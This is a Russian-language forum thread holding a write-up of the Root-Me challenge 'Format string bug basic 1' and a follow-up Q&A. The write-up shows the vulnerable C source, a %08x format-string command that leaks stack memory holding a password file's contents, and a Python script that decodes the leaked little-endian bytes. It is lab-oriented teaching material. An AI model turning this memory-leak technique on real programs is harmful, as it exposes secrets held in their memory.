 |

03.06.2019, 15:26
|
|
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами:
3829524
Репутация:
0
|
|
ELF x86 - Format string bug basic 1
Environment configuration :
PIEPosition Independent Executable
RelRORead Only relocations
NXNon-Executable Stack
Heap execNon-Executable Heap
ASLRAddress Space Layout Randomization
SFSource Fortification
SRCSource code access
Source code :
C:
Код:
#include
#include
int
main
(
int
argc
,
char
*
argv
[
]
)
{
FILE
*
secret
=
fopen
(
"/challenge/app-systeme/ch5/.passwd"
,
"rt"
)
;
char
buffer
[
32
]
;
fgets
(
buffer
,
sizeof
(
buffer
)
,
secret
)
;
printf
(
argv
[
1
]
)
;
fclose
(
secret
)
;
return
0
;
}
Решение
Этот бинарь без харденинг защит, поэтому тут все просто. Уязвимость тут находится в printf(argv[1]); Так как не были указаны форматы вывода. Эта уязвимость форматной строки. Поэтому у нас есть примитивы как чтения из стека так и запись в память. Тут нам нужен примитив чтения, потому, как флаг находится в файле .passwd.
И мы сможем прочитать от туда данные используя спецификатор формата %x
Суть эксплуатации этой уязвимости заключаться в том, чтобы считать значения со стека. В стеке находится буфер, а в буфере содержимое файла .passwd
Выведем 128 байт из стека 32 * 4 = 128
Код:
Код:
./ch5 $(python -c 'print "%08x."*32')
%08х число после знака процента нужно чтобы отображать по 4 байта
Код:
Скопируем полученные байты в блокнот.
Данный нам ELF бинарник 32 битный. Архитектура x86
Поэтому все полученные байты выданные нам из стека находятся в перевернутом виде - Little Endian.
Например
Код:
Код:
Если -> 00000020 тогда -> 20|00|00|00
Или вот еще пример
28293664 -> 64|36|29|28
Поэтому чтобы в ручную не переписывать каждую цепочку байтов. Воспользуемся питоном для автоматизации, перевернем все байты, а за одно и декодируем их...
decode_bytes.py
Python:
Код:
bytes
=
[
"00000020"
,
"0804b160"
,
"0804853d"
,
"00000009"
,
"bffffcce"
,
"b7e1c4a9"
,
"bffffba4"
,
"b7fc4000"
,
"b7fc4000"
,
"0804b160"
,
"39617044"
,
"28293664"
,
"6d617045"
,
"bf000a64"
,
"0804861b"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"119eaa00"
,
"bffffb10"
,
"00000000"
,
"00000000"
,
"b7e04e81"
,
"b7fc4000"
,
"b7fc4000"
,
"00000000"
,
"b7e04e81"
,
"00000002"
,
"bffffba4"
,
"bffffbb0"
,
"bffffb34"
,
"00000001"
]
bytes2
=
[
]
for
y
in
bytes
:
little_endian
=
y
[
6
:
]
+
y
[
4
:
-
2
]
+
y
[
2
:
-
4
]
+
y
[
0
:
-
6
]
bytes2
.
append
(
little_endian
)
for
x
in
bytes2
:
print
x
.
decode
(
'hex'
)
,
После запуска на выходе мы получим такие данные и флаг
|
|
|

31.03.2023, 00:59
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами:
8958594
Репутация:
5
|
|
От куда взято число 128 байт?
От куда берется спецификатор формата %x?
|
|
|

02.04.2023, 04:21
|
|
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами:
3829524
Репутация:
0
|
|
B13 сказал(а):
От куда взято число 128 байт?
От куда берется спецификатор формата %x?
1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.
|
|
|

02.04.2023, 16:45
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами:
8958594
Репутация:
5
|
|
fuzzz сказал(а):
1) буфер 32 байта. адрес 4 байта. перемножаем = 128 байт
2) это фишка которая используется для атак на форматные строки.
так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?
|
|
|

02.04.2023, 18:54
|
|
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами:
3829524
Репутация:
0
|
|
B13 сказал(а):
так, по 128 байтам, вроде бы понял. А вот по второму вопросу не совсем. Почему взято число %x08 а не какой либо другое или же это так же зависит от количества байт?
первая ссылка в гугле C - The %x format specifier
%08x означает, что каждое число должно быть напечатано шириной не менее 8 символов с заполнением всех недостающих цифр нулями, например, для '1' вывод будет 00000001
Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.
|
|
|

02.04.2023, 21:07
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами:
8958594
Репутация:
5
|
|
fuzzz сказал(а):
первая ссылка в гугле C - The %x format specifier
Потому что адрес состоит из 8 цифр 0x12345678. Это 4 байта. Система 32 битная. х86.
значит все правильно понял, спасибо, а то застрял на двнном таске.
|
|
|

03.04.2023, 00:51
|
|
Новичок
Регистрация: 03.02.2019
Сообщений: 0
С нами:
3829524
Репутация:
0
|
|
B13 сказал(а):
значит все правильно понял, спасибо, а то застрял на двнном таске.
root-me app system решаешь? Много тасков уже решил?
|
|
|

03.04.2023, 01:42
|
|
Новичок
Регистрация: 04.05.2009
Сообщений: 3
С нами:
8958594
Репутация:
5
|
|
fuzzz сказал(а):
root-me app system решаешь? Много тасков уже решил?
да, пытаюсь, начальные пока только смог порешать.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|